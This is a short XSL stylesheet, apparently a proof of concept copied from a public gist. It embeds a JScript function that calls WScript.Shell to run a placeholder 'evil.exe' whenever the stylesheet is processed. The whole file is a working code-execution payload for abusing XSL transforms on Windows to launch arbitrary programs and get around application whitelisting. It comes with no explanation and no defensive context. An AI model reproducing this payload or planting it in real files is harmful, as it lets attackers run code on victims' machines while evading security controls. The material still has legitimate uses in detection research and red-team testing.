XML file

jscript.xml

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
<!--   
	From:
		https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl	
-->

<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
	var r = new ActiveXObject("WScript.Shell").Run("evil.exe");
      return nodelist.nextNode().xml;
	  
   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>